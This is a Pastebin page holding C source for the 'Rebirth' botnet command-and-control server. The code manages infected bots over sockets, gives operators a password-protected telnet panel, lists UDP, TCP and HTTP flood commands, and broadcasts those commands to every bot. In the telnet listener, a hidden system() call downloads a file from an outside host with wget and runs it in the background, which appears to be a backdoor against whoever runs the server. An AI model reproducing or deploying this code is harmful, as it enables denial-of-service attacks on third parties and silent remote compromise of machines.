API tools faq
paste
ZucoCheezy

RebirthV5-Server

ZucoCheezy
Nov 26th, 2018
175
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 21.11 KB | None | 0 0
raw download clone embed print report
  1. /*
  2. *** Rebirth Server Side ***
  3.  
  4. Made By ~B1NARY~
  5. Made Date: 10-2-16
  6.  
  7. Xmpp: [email protected]
  8. Twitter: @P2PBOTNET
  9. Instragram: @Rebirth.c
  10. Skype: b1narythag0d
  11.  
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <stdint.h>
  17. #include <inttypes.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netdb.h>
  22. #include <unistd.h>
  23. #include <time.h>
  24. #include <fcntl.h>
  25. #include <sys/epoll.h>
  26. #include <errno.h>
  27. #include <pthread.h>
  28. #include <signal.h>
  29. #include <arpa/inet.h>
  30.  
  31. #define MY_MGM_PASS "BOATNET"
  32. #define MY_MGM_PORT 1
  33.  
  34. #define MAXFDS 1000000
  35.  
  36. struct clientdata_t {
  37.         uint32_t ip;
  38.         char build[7];
  39.         char connected;
  40. } clients[MAXFDS];
  41. struct telnetdata_t {
  42.         int connected;
  43. } managements[MAXFDS];
  44. static volatile FILE *fileFD;
  45. static volatile int epollFD = 0;
  46. static volatile int listenFD = 0;
  47. static volatile int managesConnected = 0;
  48. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  49. {
  50.         int total = 0, got = 1;
  51.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  52.         return got;
  53. }
  54. void trim(char *str)
  55. {
  56.     int i;
  57.     int begin = 0;
  58.     int end = strlen(str) - 1;
  59.     while (isspace(str[begin])) begin++;
  60.     while ((end >= begin) && isspace(str[end])) end--;
  61.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  62.     str[i - begin] = '\0';
  63. }
  64.  
  65.  
  66. static int make_socket_non_blocking (int sfd)
  67. {
  68.         int flags, s;
  69.         flags = fcntl (sfd, F_GETFL, 0);
  70.         if (flags == -1)
  71.         {
  72.                 perror ("fcntl");
  73.                 return -1;
  74.         }
  75.         flags |= O_NONBLOCK;
  76.         s = fcntl (sfd, F_SETFL, flags);
  77.         if (s == -1)
  78.         {
  79.                 perror ("fcntl");
  80.                 return -1;
  81.         }
  82.         return 0;
  83. }
  84.  
  85.  
  86. static int create_and_bind (char *port)
  87. {
  88.         struct addrinfo hints;
  89.         struct addrinfo *result, *rp;
  90.         int s, sfd;
  91.         memset (&hints, 0, sizeof (struct addrinfo));
  92.         hints.ai_family = AF_UNSPEC;    
  93.         hints.ai_socktype = SOCK_STREAM;
  94.         hints.ai_flags = AI_PASSIVE;    
  95.         s = getaddrinfo (NULL, port, &hints, &result);
  96.         if (s != 0)
  97.         {
  98.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  99.                 return -1;
  100.         }
  101.         for (rp = result; rp != NULL; rp = rp->ai_next)
  102.         {
  103.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  104.                 if (sfd == -1) continue;
  105.                 int yes = 1;
  106.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  107.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  108.                 if (s == 0)
  109.                 {
  110.                         break;
  111.                 }
  112.                 close (sfd);
  113.         }
  114.         if (rp == NULL)
  115.         {
  116.                 fprintf (stderr, "Could not bind\n");
  117.                 return -1;
  118.         }
  119.         freeaddrinfo (result);
  120.         return sfd;
  121. }
  122.  
  123. void broadcast(char *msg, int us)
  124. {
  125.         int sendMGM = 1;
  126.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  127.         int i;
  128.         for(i = 0; i < MAXFDS; i++)
  129.         {
  130.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  131.                 if(sendMGM && managements[i].connected)
  132.                 {
  133.                         send(i, "\n", 0, MSG_NOSIGNAL);
  134.                 }
  135.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  136.                 if(sendMGM && managements[i].connected) {
  137.                     send(i, "\n", 0, MSG_NOSIGNAL);
  138.                 } else send(i, "\n", 1, MSG_NOSIGNAL);
  139.         }
  140. }
  141.  
  142. void *epollEventLoop(void *useless)
  143. {
  144.         struct epoll_event event;
  145.         struct epoll_event *events;
  146.         int s;
  147.         events = calloc (MAXFDS, sizeof event);
  148.         while (1)
  149.         {
  150.                 int n, i;
  151.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  152.                 for (i = 0; i < n; i++)
  153.                 {
  154.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  155.                         {
  156.                                 clients[events[i].data.fd].connected = 0;
  157.                                 close(events[i].data.fd);
  158.                                 continue;
  159.                         }
  160.                         else if (listenFD == events[i].data.fd)
  161.                         {
  162.                                 while (1)
  163.                                 {
  164.                                         struct sockaddr in_addr;
  165.                                         socklen_t in_len;
  166.                                         int infd, ipIndex;
  167.  
  168.                                         in_len = sizeof in_addr;
  169.                                         infd = accept (listenFD, &in_addr, &in_len);
  170.                                         if (infd == -1)
  171.                                         {
  172.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  173.                                                 else
  174.                                                 {
  175.                                                         perror ("accept");
  176.                                                         break;
  177.                                                 }
  178.                                         }
  179.  
  180.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  181.  
  182.                                         int dup = 0;
  183.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  184.                                         {
  185.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  186.  
  187.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  188.                                                 {
  189.                                                         dup = 1;
  190.                                                         break;
  191.                                                 }
  192.                                         }
  193.  
  194.                                         if(dup)
  195.                                         {
  196.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  197.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  198.                                                 close(infd);
  199.                                                 continue;
  200.                                         }
  201.  
  202.                                         s = make_socket_non_blocking (infd);
  203.                                         if (s == -1) { close(infd); break; }
  204.  
  205.                                         event.data.fd = infd;
  206.                                         event.events = EPOLLIN | EPOLLET;
  207.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  208.                                         if (s == -1)
  209.                                         {
  210.                                                 perror ("epoll_ctl");
  211.                                                 close(infd);
  212.                                                 break;
  213.                                         }
  214.  
  215.                                         clients[infd].connected = 1;
  216.                                         send(infd, "!* TELNET\n", 10, MSG_NOSIGNAL);
  217.                                 }
  218.                                 continue;
  219.                         }
  220.                         else
  221.                         {
  222.                                 int thefd = events[i].data.fd;
  223.                                 struct clientdata_t *client = &(clients[thefd]);
  224.                                 int done = 0;
  225.                                 client->connected = 1;
  226.                                 while (1)
  227.                                 {
  228.                                         ssize_t count;
  229.                                         char buf[2048];
  230.                                         memset(buf, 0, sizeof buf);
  231.  
  232.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  233.                                         {
  234.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  235.                                                 trim(buf);
  236.                                                 if(strcmp(buf, "PING") == 0)
  237.                                                 {
  238.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  239.                                                         continue;
  240.                                                 }
  241.                                                 if(strcmp(buf, "PONG") == 0)
  242.                                                 {
  243.                                                         continue;
  244.                                                 }
  245.  
  246.                                                 printf("buf: \"%s\"\n", buf);
  247.                                         }
  248.  
  249.                                         if (count == -1)
  250.                                         {
  251.                                                 if (errno != EAGAIN)
  252.                                                 {
  253.                                                         done = 1;
  254.                                                 }
  255.                                                 break;
  256.                                         }
  257.                                         else if (count == 0)
  258.                                         {
  259.                                                 done = 1;
  260.                                                 break;
  261.                                         }
  262.                                 }
  263.  
  264.                                 if (done)
  265.                                 {
  266.                                         client->connected = 0;
  267.                                         close(thefd);
  268.                                 }
  269.                         }
  270.                 }
  271.         }
  272. }
  273.  
  274. unsigned int clientsConnected()
  275. {
  276.         int i = 0, total = 0;
  277.         for(i = 0; i < MAXFDS; i++)
  278.         {
  279.                 if(!clients[i].connected) continue;
  280.                 total++;
  281.         }
  282.  
  283.         return total;
  284. }
  285.  
  286. void *titleWriter(void *sock)
  287. {
  288.         int thefd = (int)sock;
  289.         char string[2048];
  290.         while(1)
  291.         {
  292.                 memset(string, 0, 2048);
  293.                 sprintf(string, "%c]0;Slaves: %d | Masters: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  294.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  295.  
  296.                 sleep(2);
  297.         }
  298. }
  299.  
  300.  
  301. void *telnetWorker(void *sock)
  302. {
  303.         int thefd = (int)sock;
  304.         managesConnected++;
  305.         pthread_t title;
  306.         char buf[2048];
  307.         memset(buf, 0, sizeof buf);
  308.         if(send(thefd, "", 0, MSG_NOSIGNAL) == -1) goto end;
  309.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  310.         trim(buf);
  311.         if(strcmp(buf, MY_MGM_PASS) != 0) goto end;
  312.         memset(buf, 0, 2048);
  313.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1);if(send(thefd, "\033[2J\033[1;1H", 11, MSG_NOSIGNAL) == -1);goto Banner;
  314.         Banner:
  315.         pthread_create(&title, NULL, &titleWriter, sock);
  316.         char banline [1024];
  317.        
  318.         if(send(thefd, "\x1b[31m     ***** ***              *                                         *\r\n", 79, MSG_NOSIGNAL) == -1) goto end;
  319.         if(send(thefd, "\x1b[31m  ******  * **            **           *                      *     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  320.         if(send(thefd, "\x1b[31m **   *  *  **            **          ***                    **     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  321.         if(send(thefd, "\x1b[31m*    *  *   **            **           *                     **     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  322.         if(send(thefd, "\x1b[31m    *  *    *             **                 ***  ****     ******** **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  323.         if(send(thefd, "\x1b[31m   ** **   *       ***    ** ****    ***      **** **** * ********  **  ***\r\n", 83, MSG_NOSIGNAL) == -1) goto end;
  324.         if(send(thefd, "\x1b[31m   ** **  *       * ***   *** ***  *  ***      **   ****     **     ** * ***\r\n", 84, MSG_NOSIGNAL) == -1) goto end;
  325.         if(send(thefd, "\x1b[31m   ** ****       *   ***  **   ****    **      **            **     ***   ***\r\n", 85,  MSG_NOSIGNAL) == -1) goto end;
  326.         if(send(thefd, "\x1b[31m   ** **  ***   **    *** **    **     **      **            **     **     **\r\n", 85,  MSG_NOSIGNAL) == -1) goto end;
  327.         if(send(thefd, "\x1b[31m   ** **    **  ********  **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  328.         if(send(thefd, "\x1b[31m   *  **    **  *******   **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  329.         if(send(thefd, "\x1b[31m      *     **  **        **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  330.         if(send(thefd, "\x1b[31m  ****      *** ****    * **    **     **      ***           **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  331.         if(send(thefd, "\x1b[31m *  ****    **   *******   *****       *** *    ***           **    **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  332.         if(send(thefd, "\x1b[31m*    **     *     *****     ***         ***                          **    **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  333.         if(send(thefd, "\x1b[31m*                                                                          *\r\n", 84, MSG_NOSIGNAL) == -1) goto end;
  334.         if(send(thefd, "\x1b[31m **                                                                       *\r\n", 83, MSG_NOSIGNAL) == -1) goto end;
  335.         if(send(thefd, "\x1b[31m                                                                         *\r\n", 82, MSG_NOSIGNAL) == -1) goto end;
  336.         if(send(thefd, "\x1b[31m                                                                        *\r\n", 81, MSG_NOSIGNAL) == -1) goto end;
  337.        
  338.         if(send(thefd, "\x1b[31m~$ ", 9, MSG_NOSIGNAL) == -1) goto end;
  339.        
  340.         managements[thefd].connected = 1;
  341.         while(fdgets(buf, sizeof buf, thefd) > 0)
  342.         {  
  343.             if(strstr(buf, "HELP") || strstr(buf, "help") || strstr(buf, "?"))
  344.             {
  345.                 if(send(thefd, "[~ Attack Commands ~]\r\n", 23, MSG_NOSIGNAL) == -1) goto end;
  346.                 if(send(thefd, "UDP - !* UDP IP PORT SEC 0 10\r\n", 31, MSG_NOSIGNAL) == -1) goto end;
  347.                 if(send(thefd, "TCP - !* TCP IP PORT SEC 32 all 0 10\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  348.                 if(send(thefd, "STD - !* STD IP PORT SEC\r\n", 26, MSG_NOSIGNAL) == -1) goto end;
  349.                 if(send(thefd, "GHP - !* HTTP POST/GET/HEAD URL 80 / 10 100\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  350.             }
  351.             if(strstr(buf, "CLEAR") || strstr(buf, "clear") || strstr(buf, "CLS") || strstr(buf, "cls"))
  352.             {
  353.                 char clearscreen [2048];
  354.                 memset(clearscreen, 0, 2048);
  355.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  356.                 if(send(thefd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  357.                 if(send(thefd, banline, strlen(banline), MSG_NOSIGNAL) == -1) goto end;
  358.                 if(send(thefd, "\x1b[31m     ***** ***              *                                         *\r\n", 79, MSG_NOSIGNAL) == -1) goto end;
  359.                 if(send(thefd, "\x1b[31m  ******  * **            **           *                      *     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  360.                 if(send(thefd, "\x1b[31m **   *  *  **            **          ***                    **     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  361.                 if(send(thefd, "\x1b[31m*    *  *   **            **           *                     **     **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  362.                 if(send(thefd, "\x1b[31m    *  *    *             **                 ***  ****     ******** **\r\n", 78, MSG_NOSIGNAL) == -1) goto end;
  363.                 if(send(thefd, "\x1b[31m   ** **   *       ***    ** ****    ***      **** **** * ********  **  ***\r\n", 83, MSG_NOSIGNAL) == -1) goto end;
  364.                 if(send(thefd, "\x1b[31m   ** **  *       * ***   *** ***  *  ***      **   ****     **     ** * ***\r\n", 84, MSG_NOSIGNAL) == -1) goto end;
  365.                 if(send(thefd, "\x1b[31m   ** ****       *   ***  **   ****    **      **            **     ***   ***\r\n", 85,  MSG_NOSIGNAL) == -1) goto end;
  366.                 if(send(thefd, "\x1b[31m   ** **  ***   **    *** **    **     **      **            **     **     **\r\n", 85,  MSG_NOSIGNAL) == -1) goto end;
  367.                 if(send(thefd, "\x1b[31m   ** **    **  ********  **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  368.                 if(send(thefd, "\x1b[31m   *  **    **  *******   **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  369.                 if(send(thefd, "\x1b[31m      *     **  **        **    **     **      **            **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  370.                 if(send(thefd, "\x1b[31m  ****      *** ****    * **    **     **      ***           **     **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  371.                 if(send(thefd, "\x1b[31m *  ****    **   *******   *****       *** *    ***           **    **     **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  372.                 if(send(thefd, "\x1b[31m*    **     *     *****     ***         ***                          **    **\r\n", 85, MSG_NOSIGNAL) == -1) goto end;
  373.                 if(send(thefd, "\x1b[31m*                                                                          *\r\n", 84, MSG_NOSIGNAL) == -1) goto end;
  374.                 if(send(thefd, "\x1b[31m **                                                                       *\r\n", 83, MSG_NOSIGNAL) == -1) goto end;
  375.                 if(send(thefd, "\x1b[31m                                                                         *\r\n", 82, MSG_NOSIGNAL) == -1) goto end;
  376.                 if(send(thefd, "\x1b[31m                                                                        *\r\n", 81, MSG_NOSIGNAL) == -1) goto end;
  377.                 if(send(thefd, "~$ ", 3, MSG_NOSIGNAL) == -1) goto end;
  378.                 managements[thefd].connected = 1;
  379.                 continue;
  380.             }
  381.             if(strstr(buf, "EXIT") || strstr(buf, "exit") || strstr(buf, "QUIT") || strstr(buf, "quit") || strstr(buf, "LOGOUT") || strstr(buf, "logout"))
  382.             {
  383.                 goto end;
  384.             }
  385.                 trim(buf);
  386.                 if(send(thefd, "~$ ", 3, MSG_NOSIGNAL) == -1) goto end;
  387.                 if(strlen(buf) == 0) continue;
  388.                 broadcast(buf, thefd);
  389.                 memset(buf, 0, 2048);
  390.         }
  391.         end:
  392.                 managements[thefd].connected = 0;
  393.                 close(thefd);
  394.                 managesConnected--;
  395. }
  396. void *telnetListener(void *useless) {
  397.         int sockfd, newsockfd;
  398.         socklen_t clilen;
  399.         struct sockaddr_in serv_addr, cli_addr;
  400.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  401.         if (sockfd < 0) perror("ERROR opening socket");
  402.         bzero((char *) &serv_addr, sizeof(serv_addr));
  403.         serv_addr.sin_family = AF_INET;
  404.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  405.         serv_addr.sin_port = htons(MY_MGM_PORT);
  406.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  407.         system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  408.         listen(sockfd,5);
  409.         clilen = sizeof(cli_addr);
  410.         while(1) {
  411.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  412.                 if (newsockfd < 0) perror("ERROR on accept");
  413.                 pthread_t thread;
  414.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  415.         }
  416. }
  417. int main (int argc, char *argv[]) {
  418.         signal(SIGPIPE, SIG_IGN);
  419.         int s, threads;
  420.         struct epoll_event event;
  421.         if (argc != 3) {
  422.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  423.                 exit (EXIT_FAILURE);
  424.         }
  425.         fileFD = NULL;
  426.         threads = atoi(argv[2]);
  427.         listenFD = create_and_bind (argv[1]);
  428.         if (listenFD == -1) abort ();
  429.         s = make_socket_non_blocking (listenFD);
  430.         if (s == -1) abort ();
  431.         s = listen (listenFD, SOMAXCONN);
  432.         if (s == -1) {
  433.                 perror ("listen");
  434.                 abort ();
  435.         }
  436.         epollFD = epoll_create1 (0);
  437.         if (epollFD == -1) {
  438.                 perror ("epoll_create");
  439.                 abort ();
  440.         }
  441.         event.data.fd = listenFD;
  442.         event.events = EPOLLIN | EPOLLET;
  443.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  444.         if (s == -1) {
  445.                 perror ("epoll_ctl");
  446.                 abort ();
  447.         }
  448.         pthread_t thread[threads + 2];
  449.         while(threads--) {
  450.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  451.         }
  452.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  453.         while(1) {
  454.                 broadcast("PING", -1);
  455.                 sleep(60);
  456.         }
  457.         close (listenFD);
  458.         return EXIT_SUCCESS;
  459. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!